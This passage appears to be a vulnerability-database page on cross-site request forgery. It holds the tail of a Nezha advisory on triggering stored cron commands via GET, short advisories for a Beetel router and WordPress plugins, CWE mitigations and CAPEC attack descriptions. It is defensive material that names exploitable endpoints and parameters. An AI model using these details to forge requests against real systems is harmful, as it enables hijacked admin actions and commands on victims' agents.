\tgithub.com/nezhahq/nezha/cmd/dashboard/controller\t0.019s\n```\n\nThe `-vet=off` flag was only needed because this checkout lacks the generated `cmd/dashboard/docs` directory and Go vet still tries to `chdir` into the overlay-created package directory. The overlay includes a minimal `docs` package stub so the controller package can compile without generating Swagger files.\n\nCleanup:\n\n```bash\nrm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json\n```\n\n### Impact\n\nA remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user\u0027s browser navigate to `/api/v1/cron/\u003cknown-id\u003e/manual`. If that cron task dispatches an agent command, the command is sent to the victim\u0027s online agent without the victim intentionally clicking the manual trigger in the dashboard.\n\nSecurity impact is integrity and availability:\n\n- Integrity: forced execution of a stored command on victim-controlled agents.\n- Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.\n- Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.\n\n### Suggested remediation\n\n- Make manual cron triggering a non-idempotent method such as `POST /api/v1/cron/:id/manual` instead of GET.\n- Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with `Origin`/`Referer` and Fetch Metadata validation.\n- Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.\n- Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.\n- If frontend compatibility requires cookies, keep `SameSite=Lax` or stricter, but do not rely on it to protect state-changing GET routes.",
  "id": "GHSA-8qhj-4f8c-j8qg",
  "modified": "2026-06-26T21:28:58Z",
  "published": "2026-06-10T13:39:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-8qhj-4f8c-j8qg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49396"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha has cross-site GET request that can trigger stored cron commands on a victim\u0027s agents"
}

GHSA-8QJ3-MMMQ-GVC7

Vulnerability from github – Published: 2022-05-17 04:43 – Updated: 2022-05-17 04:43
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in Beetel 450TC2 Router with firmware TX6-0Q-005_retail allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via the uiViewTools_Password and uiViewTools_PasswordConfirm parameters to Forms/tools_admin_1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-3792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-20T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in Beetel 450TC2 Router with firmware TX6-0Q-005_retail allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via the uiViewTools_Password and uiViewTools_PasswordConfirm parameters to Forms/tools_admin_1.",
  "id": "GHSA-8qj3-mmmq-gvc7",
  "modified": "2022-05-17T04:43:13Z",
  "published": "2022-05-17T04:43:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3792"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/show/osvdb/106468"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/126426/Beetel-450TC2-Cross-Site-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/58365"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/33129"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8QJ6-J7FV-PC7X

Vulnerability from github – Published: 2023-04-06 21:30 – Updated: 2023-04-13 15:30
VLAI
Details

The WP Fastest Cache plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.2. This is due to missing or incorrect nonce validation on the deleteCacheToolbar function. This makes it possible for unauthenticated attackers to perform cache deletion via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-06T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The WP Fastest Cache plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.2. This is due to missing or incorrect nonce validation on the deleteCacheToolbar function. This makes it possible for unauthenticated attackers to perform cache deletion via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
  "id": "GHSA-8qj6-j7fv-pc7x",
  "modified": "2023-04-13T15:30:35Z",
  "published": "2023-04-06T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1926"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2893158/wp-fastest-cache/trunk/wpFastestCache.php?contextall=1"
    },
    {
      "type": "WEB",
      "url": "https://wordfence.com"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b793a4cb-3130-428e-9b61-8ce29fcdaf70?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QM3-XQ92-849M

Vulnerability from github – Published: 2026-04-22 09:31 – Updated: 2026-04-22 09:31
VLAI
Details

The TextP2P Texting Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.7. This is due to missing nonce validation in the imTextP2POptionPage() function which processes settings updates. The form at line 314 does not include a wp_nonce_field(), and the POST handler at line 7 does not call check_admin_referer() or wp_verify_nonce() before processing settings changes. This makes it possible for unauthenticated attackers to update all plugin settings including chat widget titles, messages, API credentials, colors, and reCAPTCHA configuration via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T09:16:24Z",
    "severity": "MODERATE"
  },
  "details": "The TextP2P Texting Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.7. This is due to missing nonce validation in the imTextP2POptionPage() function which processes settings updates. The form at line 314 does not include a wp_nonce_field(), and the POST handler at line 7 does not call check_admin_referer() or wp_verify_nonce() before processing settings changes. This makes it possible for unauthenticated attackers to update all plugin settings including chat widget titles, messages, API credentials, colors, and reCAPTCHA configuration via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.",
  "id": "GHSA-8qm3-xq92-849m",
  "modified": "2026-04-22T09:31:33Z",
  "published": "2026-04-22T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4133"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L299"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L299"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d36fa25-108b-462b-b84e-2e77943b1871?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
  • Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Mitigation
Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Mitigation
Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Mitigation
Architecture and Design
  • Use the "double-submitted cookie" method as described by Felten and Zeller:
  • When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
  • Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
  • This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Architecture and Design

Do not use the GET method for any request that triggers a state change.

Mitigation
Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-467: Cross Site Identification

An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.